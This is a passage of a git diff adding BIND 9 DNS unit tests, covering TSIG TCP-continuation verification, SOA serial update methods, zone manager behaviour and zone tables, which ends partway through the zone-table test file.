+	rdatalist.type = dns_rdatatype_tsig;
+	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
+	dns_rdataset_init(&rdataset);
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
+	CHECK(dns_rdataset_towire(&rdataset, key->name, &cctx, target, 0,
+				  &count));
+
+	/*
+	 * Fixup additional record count.
+	 */
+	((unsigned char *)target->base)[11]++;
+	if (((unsigned char *)target->base)[11] == 0) {
+		((unsigned char *)target->base)[10]++;
+	}
+cleanup:
+	if (tsig.signature != NULL) {
+		isc_mem_put(mctx, tsig.signature, sigsize);
+	}
+	if (dynbuf != NULL) {
+		isc_buffer_free(&dynbuf);
+	}
+	dns_compress_invalidate(&cctx);
+
+	return (result);
+}
+
+static void
+printmessage(dns_message_t *msg) {
+	isc_buffer_t b;
+	char *buf = NULL;
+	int len = 1024;
+	isc_result_t result = ISC_R_SUCCESS;
+
+	if (!debug) {
+		return;
+	}
+
+	do {
+		buf = isc_mem_get(mctx, len);
+
+		isc_buffer_init(&b, buf, len);
+		result = dns_message_totext(msg, &dns_master_style_debug, 0,
+					    &b);
+		if (result == ISC_R_NOSPACE) {
+			isc_mem_put(mctx, buf, len);
+			len *= 2;
+		} else if (result == ISC_R_SUCCESS) {
+			printf("%.*s\n", (int)isc_buffer_usedlength(&b), buf);
+		}
+	} while (result == ISC_R_NOSPACE);
+
+	if (buf != NULL) {
+		isc_mem_put(mctx, buf, len);
+	}
+}
+
+static void
+render(isc_buffer_t *buf, unsigned int flags, dns_tsigkey_t *key,
+       isc_buffer_t **tsigin, isc_buffer_t **tsigout, dst_context_t *tsigctx) {
+	dns_message_t *msg = NULL;
+	dns_compress_t cctx;
+	isc_result_t result;
+
+	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &msg);
+	assert_non_null(msg);
+
+	msg->id = 50;
+	msg->rcode = dns_rcode_noerror;
+	msg->flags = flags;
+
+	/*
+	 * XXXMPA: this hack needs to be replaced with use of
+	 * dns_message_reply() at some point.
+	 */
+	if ((flags & DNS_MESSAGEFLAG_QR) != 0) {
+		msg->verified_sig = 1;
+	}
+
+	if (tsigin == tsigout) {
+		msg->tcp_continuation = 1;
+	}
+
+	if (tsigctx == NULL) {
+		result = dns_message_settsigkey(msg, key);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		dns_message_setquerytsig(msg, *tsigin);
+	}
+
+	dns_compress_init(&cctx, mctx, 0);
+
+	result = dns_message_renderbegin(msg, &cctx, buf);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_message_renderend(msg);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	if (tsigctx != NULL) {
+		isc_region_t r;
+
+		isc_buffer_usedregion(buf, &r);
+		result = dst_context_adddata(tsigctx, &r);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	} else {
+		if (tsigin == tsigout && *tsigin != NULL) {
+			isc_buffer_free(tsigin);
+		}
+
+		result = dns_message_getquerytsig(msg, mctx, tsigout);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	dns_compress_invalidate(&cctx);
+	dns_message_detach(&msg);
+}
+
+/*
+ * Test tsig tcp-continuation validation:
+ * Check that a simulated three message TCP sequence where the first
+ * and last messages contain TSIGs but the intermediate message doesn't
+ * correctly verifies.
+ */
+ISC_RUN_TEST_IMPL(tsig_tcp) {
+	const dns_name_t *tsigowner = NULL;
+	dns_fixedname_t fkeyname;
+	dns_message_t *msg = NULL;
+	dns_name_t *keyname;
+	dns_tsigkeyring_t *ring = NULL;
+	dns_tsigkey_t *key = NULL;
+	isc_buffer_t *buf = NULL;
+	isc_buffer_t *querytsig = NULL;
+	isc_buffer_t *tsigin = NULL;
+	isc_buffer_t *tsigout = NULL;
+	isc_result_t result;
+	unsigned char secret[16] = { 0 };
+	dst_context_t *tsigctx = NULL;
+	dst_context_t *outctx = NULL;
+
+	UNUSED(state);
+
+	/* isc_log_setdebuglevel(lctx, 99); */
+
+	keyname = dns_fixedname_initname(&fkeyname);
+	result = dns_name_fromstring(keyname, "test", dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_tsigkeyring_create(mctx, &ring);
+	assert_non_null(ring);
+
+	result = dns_tsigkey_create(keyname, DST_ALG_HMACSHA256, secret,
+				    sizeof(secret), mctx, &key);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dns_tsigkeyring_add(ring, key);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(key);
+
+	/*
+	 * Create request.
+	 */
+	isc_buffer_allocate(mctx, &buf, 65535);
+	render(buf, 0, key, &tsigout, &querytsig, NULL);
+	isc_buffer_free(&buf);
+
+	/*
+	 * Create response message 1.
+	 */
+	isc_buffer_allocate(mctx, &buf, 65535);
+	render(buf, DNS_MESSAGEFLAG_QR, key, &querytsig, &tsigout, NULL);
+	assert_non_null(tsigout);
+
+	/*
+	 * Process response message 1.
+	 */
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &msg);
+	assert_non_null(msg);
+
+	result = dns_message_settsigkey(msg, key);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_message_parse(msg, buf, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	printmessage(msg);
+
+	dns_message_setquerytsig(msg, querytsig);
+
+	result = dns_tsig_verify(buf, msg, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(msg->verified_sig, 1);
+	assert_int_equal(msg->tsigstatus, dns_rcode_noerror);
+
+	/*
+	 * Check that we have a TSIG in the first message.
+	 */
+	assert_non_null(dns_message_gettsig(msg, &tsigowner));
+
+	result = dns_message_getquerytsig(msg, mctx, &tsigin);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	tsigctx = msg->tsigctx;
+	msg->tsigctx = NULL;
+	isc_buffer_free(&buf);
+	dns_message_detach(&msg);
+
+	result = dst_context_create(key->key, mctx, DNS_LOGCATEGORY_DNSSEC,
+				    false, 0, &outctx);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(outctx);
+
+	/*
+	 * Start digesting.
+	 */
+	result = add_mac(outctx, tsigout);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Create response message 2.
+	 */
+	isc_buffer_allocate(mctx, &buf, 65535);
+
+	assert_int_equal(result, ISC_R_SUCCESS);
+	render(buf, DNS_MESSAGEFLAG_QR, key, &tsigout, &tsigout, outctx);
+
+	/*
+	 * Process response message 2.
+	 */
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &msg);
+	assert_non_null(msg);
+
+	msg->tcp_continuation = 1;
+	msg->tsigctx = tsigctx;
+	tsigctx = NULL;
+
+	result = dns_message_settsigkey(msg, key);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_message_parse(msg, buf, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	printmessage(msg);
+
+	dns_message_setquerytsig(msg, tsigin);
+
+	result = dns_tsig_verify(buf, msg, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(msg->verified_sig, 0);
+	assert_int_equal(msg->tsigstatus, dns_rcode_noerror);
+
+	/*
+	 * Check that we don't have a TSIG in the second message.
+	 */
+	tsigowner = NULL;
+	assert_true(dns_message_gettsig(msg, &tsigowner) == NULL);
+
+	tsigctx = msg->tsigctx;
+	msg->tsigctx = NULL;
+	isc_buffer_free(&buf);
+	dns_message_detach(&msg);
+
+	/*
+	 * Create response message 3.
+	 */
+	isc_buffer_allocate(mctx, &buf, 65535);
+	render(buf, DNS_MESSAGEFLAG_QR, key, &tsigout, &tsigout, outctx);
+
+	result = add_tsig(outctx, key, buf);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Process response message 3.
+	 */
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &msg);
+	assert_non_null(msg);
+
+	msg->tcp_continuation = 1;
+	msg->tsigctx = tsigctx;
+	tsigctx = NULL;
+
+	result = dns_message_settsigkey(msg, key);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_message_parse(msg, buf, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	printmessage(msg);
+
+	/*
+	 * Check that we had a TSIG in the third message.
+	 */
+	assert_non_null(dns_message_gettsig(msg, &tsigowner));
+
+	dns_message_setquerytsig(msg, tsigin);
+
+	result = dns_tsig_verify(buf, msg, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(msg->verified_sig, 1);
+	assert_int_equal(msg->tsigstatus, dns_rcode_noerror);
+
+	if (tsigin != NULL) {
+		isc_buffer_free(&tsigin);
+	}
+
+	result = dns_message_getquerytsig(msg, mctx, &tsigin);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_free(&buf);
+	dns_message_detach(&msg);
+
+	if (outctx != NULL) {
+		dst_context_destroy(&outctx);
+	}
+	if (querytsig != NULL) {
+		isc_buffer_free(&querytsig);
+	}
+	if (tsigin != NULL) {
+		isc_buffer_free(&tsigin);
+	}
+	if (tsigout != NULL) {
+		isc_buffer_free(&tsigout);
+	}
+	dns_tsigkey_detach(&key);
+	if (ring != NULL) {
+		dns_tsigkeyring_detach(&ring);
+	}
+}
+
+/* Tests the dns__tsig_algvalid function */
+ISC_RUN_TEST_IMPL(algvalid) {
+	UNUSED(state);
+
+	assert_true(dns__tsig_algvalid(DST_ALG_HMACMD5));
+
+	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA1));
+	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA224));
+	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA256));
+	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA384));
+	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA512));
+
+	assert_false(dns__tsig_algvalid(DST_ALG_GSSAPI));
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(tsig_tcp, setup_test, teardown_test)
+ISC_TEST_ENTRY(algvalid)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/update_test.c b/tests/dns/update_test.c
new file mode 100644
index 0000000000..7832cbcf7e
--- /dev/null
+++ b/tests/dns/update_test.c
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/serial.h>
+#include <isc/stdtime.h>
+#include <isc/util.h>
+
+#include <dns/update.h>
+#define KEEP_BEFORE
+
+/*
+ * Fix the linking order problem for overridden isc_stdtime_now() by making
+ * everything local.  This also allows static functions from update.c to be
+ * tested.
+ */
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wshadow"
+#undef CHECK
+#include "update.c"
+#pragma GCC diagnostic pop
+
+#undef CHECK
+#include <tests/dns.h>
+
+static int
+setup_test(void **state) {
+	UNUSED(state);
+
+	setenv("TZ", "", 1);
+
+	return (0);
+}
+
+static uint32_t mystdtime;
+
+static void
+set_mystdtime(int year, int month, int day) {
+	struct tm tm;
+
+	memset(&tm, 0, sizeof(tm));
+	tm.tm_year = year - 1900;
+	tm.tm_mon = month - 1;
+	tm.tm_mday = day;
+	mystdtime = timegm(&tm);
+}
+
+isc_stdtime_t
+isc_stdtime_now(void) {
+	return (mystdtime);
+}
+
+/* simple increment by 1 */
+ISC_RUN_TEST_IMPL(increment) {
+	uint32_t old = 50;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	serial = dns_update_soaserial(old, dns_updatemethod_increment, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 51);
+}
+
+/* increment past zero, 0xfffffffff -> 1 */
+ISC_RUN_TEST_IMPL(increment_past_zero) {
+	uint32_t old = 0xffffffffu;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	serial = dns_update_soaserial(old, dns_updatemethod_increment, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 1u);
+}
+
+/* past to unixtime */
+ISC_RUN_TEST_IMPL(past_to_unix) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	set_mystdtime(2011, 6, 22);
+	old = mystdtime - 1;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, mystdtime);
+}
+
+/* now to unixtime */
+ISC_RUN_TEST_IMPL(now_to_unix) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	set_mystdtime(2011, 6, 22);
+	old = mystdtime;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, old + 1);
+}
+
+/* future to unixtime */
+ISC_RUN_TEST_IMPL(future_to_unix) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	set_mystdtime(2011, 6, 22);
+	old = mystdtime + 1;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, old + 1);
+}
+
+/* undefined plus 1 to unixtime */
+ISC_RUN_TEST_IMPL(undefined_plus1_to_unix) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	set_mystdtime(2011, 6, 22);
+	old = mystdtime ^ 0x80000000u;
+	old += 1;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, mystdtime);
+}
+
+/* undefined minus 1 to unixtime */
+ISC_RUN_TEST_IMPL(undefined_minus1_to_unix) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	set_mystdtime(2011, 6, 22);
+	old = mystdtime ^ 0x80000000u;
+	old -= 1;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, old + 1);
+}
+
+/* undefined to unixtime */
+ISC_RUN_TEST_IMPL(undefined_to_unix) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	set_mystdtime(2011, 6, 22);
+	old = mystdtime ^ 0x80000000u;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, old + 1);
+}
+
+/* handle unixtime being zero */
+ISC_RUN_TEST_IMPL(unixtime_zero) {
+	uint32_t old;
+	uint32_t serial;
+
+	UNUSED(state);
+
+	mystdtime = 0;
+	old = 0xfffffff0;
+
+	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, old + 1);
+}
+
+/* past to date */
+ISC_RUN_TEST_IMPL(past_to_date) {
+	uint32_t old, serial;
+	dns_updatemethod_t used = dns_updatemethod_none;
+
+	UNUSED(state);
+
+	set_mystdtime(2014, 3, 31);
+	old = dns_update_soaserial(0, dns_updatemethod_date, NULL);
+	set_mystdtime(2014, 4, 1);
+
+	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 2014040100);
+	assert_int_equal(dns_updatemethod_date, used);
+}
+
+/* now to date */
+ISC_RUN_TEST_IMPL(now_to_date) {
+	uint32_t old;
+	uint32_t serial;
+	dns_updatemethod_t used = dns_updatemethod_none;
+
+	UNUSED(state);
+
+	set_mystdtime(2014, 4, 1);
+	old = dns_update_soaserial(0, dns_updatemethod_date, NULL);
+
+	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 2014040101);
+	assert_int_equal(dns_updatemethod_date, used);
+
+	old = 2014040198;
+	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 2014040199);
+	assert_int_equal(dns_updatemethod_date, used);
+
+	/*
+	 * Stealing from "tomorrow".
+	 */
+	old = 2014040199;
+	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 2014040200);
+	assert_int_equal(dns_updatemethod_increment, used);
+}
+
+/* future to date */
+ISC_RUN_TEST_IMPL(future_to_date) {
+	uint32_t old;
+	uint32_t serial;
+	dns_updatemethod_t used = dns_updatemethod_none;
+
+	UNUSED(state);
+
+	set_mystdtime(2014, 4, 1);
+	old = dns_update_soaserial(0, dns_updatemethod_date, NULL);
+	set_mystdtime(2014, 3, 31);
+
+	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 2014040101);
+	assert_int_equal(dns_updatemethod_increment, used);
+
+	old = serial;
+	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
+	assert_true(isc_serial_lt(old, serial));
+	assert_int_not_equal(serial, 0);
+	assert_int_equal(serial, 2014040102);
+	assert_int_equal(dns_updatemethod_increment, used);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(increment, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(increment_past_zero, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(past_to_unix, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(now_to_unix, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(future_to_unix, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(undefined_to_unix, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(undefined_plus1_to_unix, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(undefined_minus1_to_unix, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(unixtime_zero, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(past_to_date, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(now_to_date, setup_test, NULL)
+ISC_TEST_ENTRY_CUSTOM(future_to_date, setup_test, NULL)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/zonemgr_test.c b/tests/dns/zonemgr_test.c
new file mode 100644
index 0000000000..3d7c3b688b
--- /dev/null
+++ b/tests/dns/zonemgr_test.c
@@ -0,0 +1,197 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include <dns/name.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+
+#include <tests/dns.h>
+
+static int
+setup_test(void **state) {
+	setup_loopmgr(state);
+	setup_netmgr(state);
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	teardown_netmgr(state);
+	teardown_loopmgr(state);
+
+	return (0);
+}
+
+/* create zone manager */
+ISC_LOOP_TEST_IMPL(zonemgr_create) {
+	dns_zonemgr_t *myzonemgr = NULL;
+
+	UNUSED(arg);
+
+	dns_zonemgr_create(mctx, loopmgr, netmgr, &myzonemgr);
+
+	dns_zonemgr_shutdown(myzonemgr);
+	dns_zonemgr_detach(&myzonemgr);
+	assert_null(myzonemgr);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* manage and release a zone */
+ISC_LOOP_TEST_IMPL(zonemgr_managezone) {
+	dns_zonemgr_t *myzonemgr = NULL;
+	dns_zone_t *zone = NULL;
+	isc_result_t result;
+
+	UNUSED(arg);
+
+	dns_zonemgr_create(mctx, loopmgr, netmgr, &myzonemgr);
+
+	result = dns_test_makezone("foo", &zone, NULL, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_int_equal(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 0);
+
+	/* Now it should succeed */
+	result = dns_zonemgr_managezone(myzonemgr, zone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_int_equal(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 1);
+
+	dns_zonemgr_releasezone(myzonemgr, zone);
+	dns_zone_detach(&zone);
+
+	assert_int_equal(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 0);
+
+	dns_zonemgr_shutdown(myzonemgr);
+	dns_zonemgr_detach(&myzonemgr);
+	assert_null(myzonemgr);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* create and release a zone */
+ISC_LOOP_TEST_IMPL(zonemgr_createzone) {
+	dns_zonemgr_t *myzonemgr = NULL;
+	dns_zone_t *zone = NULL;
+	isc_result_t result;
+
+	UNUSED(arg);
+
+	dns_zonemgr_create(mctx, loopmgr, netmgr, &myzonemgr);
+
+	result = dns_zonemgr_createzone(myzonemgr, &zone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(zone);
+
+	result = dns_zonemgr_managezone(myzonemgr, zone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_zone_detach(&zone);
+
+	dns_zonemgr_shutdown(myzonemgr);
+	dns_zonemgr_detach(&myzonemgr);
+	assert_null(myzonemgr);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* manage and release a zone */
+ISC_LOOP_TEST_IMPL(zonemgr_unreachable) {
+	dns_zonemgr_t *myzonemgr = NULL;
+	dns_zone_t *zone = NULL;
+	isc_sockaddr_t addr1, addr2;
+	struct in_addr in;
+	isc_result_t result;
+	isc_time_t now;
+
+	UNUSED(arg);
+
+	now = isc_time_now();
+
+	dns_zonemgr_create(mctx, loopmgr, netmgr, &myzonemgr);
+
+	result = dns_test_makezone("foo", &zone, NULL, false);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_zonemgr_managezone(myzonemgr, zone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	in.s_addr = inet_addr("10.53.0.1");
+	isc_sockaddr_fromin(&addr1, &in, 2112);
+	in.s_addr = inet_addr("10.53.0.2");
+	isc_sockaddr_fromin(&addr2, &in, 5150);
+	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+	/*
+	 * We require multiple unreachableadd calls to mark a server as
+	 * unreachable.
+	 */
+	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
+	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
+	assert_true(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+
+	in.s_addr = inet_addr("10.53.0.3");
+	isc_sockaddr_fromin(&addr2, &in, 5150);
+	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+	/*
+	 * We require multiple unreachableadd calls to mark a server as
+	 * unreachable.
+	 */
+	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
+	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
+	assert_true(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+
+	dns_zonemgr_unreachabledel(myzonemgr, &addr1, &addr2);
+	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+
+	in.s_addr = inet_addr("10.53.0.2");
+	isc_sockaddr_fromin(&addr2, &in, 5150);
+	assert_true(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+	dns_zonemgr_unreachabledel(myzonemgr, &addr1, &addr2);
+	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
+
+	dns_zonemgr_releasezone(myzonemgr, zone);
+	dns_zone_detach(&zone);
+	dns_zonemgr_shutdown(myzonemgr);
+	dns_zonemgr_detach(&myzonemgr);
+	assert_null(myzonemgr);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(zonemgr_create, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(zonemgr_managezone, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(zonemgr_createzone, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(zonemgr_unreachable, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/zt_test.c b/tests/dns/zt_test.c
new file mode 100644
index 0000000000..2ca5f14a2d
--- /dev/null
+++ b/tests/dns/zt_test.c
@@ -0,0 +1,280 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/buffer.h>
+#include <isc/loop.h>
+#include <isc/timer.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/db.h>
+#include <dns/name.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+#include <dns/zt.h>
+
+#include <tests/dns.h>
+
+static dns_db_t *db = NULL;
+static FILE *zonefile, *origfile;
+static dns_view_t *view = NULL;
+
+static isc_result_t
+count_zone(dns_zone_t *zone, void *uap) {
+	int *nzones = (int *)uap;
+
+	UNUSED(zone);
+
+	*nzones += 1;
+	return (ISC_R_SUCCESS);
+}
+
+/* apply a function to a zone table */
+ISC_LOOP_TEST_IMPL(apply) {
+	isc_result_t result;
+	dns_zone_t *zone = NULL;
+	dns_zt_t *zt = NULL;
+	int nzones = 0;
+
+	result = dns_test_makezone("foo", &zone, NULL, true);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	view = dns_zone_getview(zone);
+	rcu_read_lock();
+	zt = rcu_dereference(view->zonetable);
+	rcu_read_unlock();
+
+	assert_non_null(zt);
+
+	assert_int_equal(nzones, 0);
+	result = dns_view_apply(view, false, NULL, count_zone, &nzones);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(nzones, 1);
+
+	/* These steps are necessary so the zone can be detached properly */
+	dns_test_setupzonemgr();
+	result = dns_test_managezone(zone);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_test_releasezone(zone);
+	dns_test_closezonemgr();
+
+	/* The view was left attached in dns_test_makezone() */
+	dns_view_detach(&view);
+	dns_zone_detach(&zone);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static isc_result_t
+load_done_last(void *uap) {
+	dns_zone_t *zone = uap;
+	isc_result_t result;
+
+	/* The zone should now be loaded; test it */
+	result = dns_zone_getdb(zone, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_non_null(db);
+	if (db != NULL) {
+		dns_db_detach(&db);
+	}
+
+	dns_test_releasezone(zone);
+	dns_test_closezonemgr();
+
+	dns_zone_detach(&zone);
+	dns_view_detach(&view);
+
+	isc_loopmgr_shutdown(loopmgr);
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+load_done_new_only(void *uap) {
+	dns_zone_t *zone = uap;
+	isc_result_t result;
+
+	/* The zone should now be loaded; test it */
+	result = dns_zone_getdb(zone, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_db_detach(&db);
+
+	dns_zone_asyncload(zone, true, load_done_last, zone);
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+load_done_first(void *uap) {
+	dns_zone_t *zone = uap;
+	isc_result_t result;
+
+	/* The zone should now be loaded; test it */
+	result = dns_zone_getdb(zone, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_db_detach(&db);
+
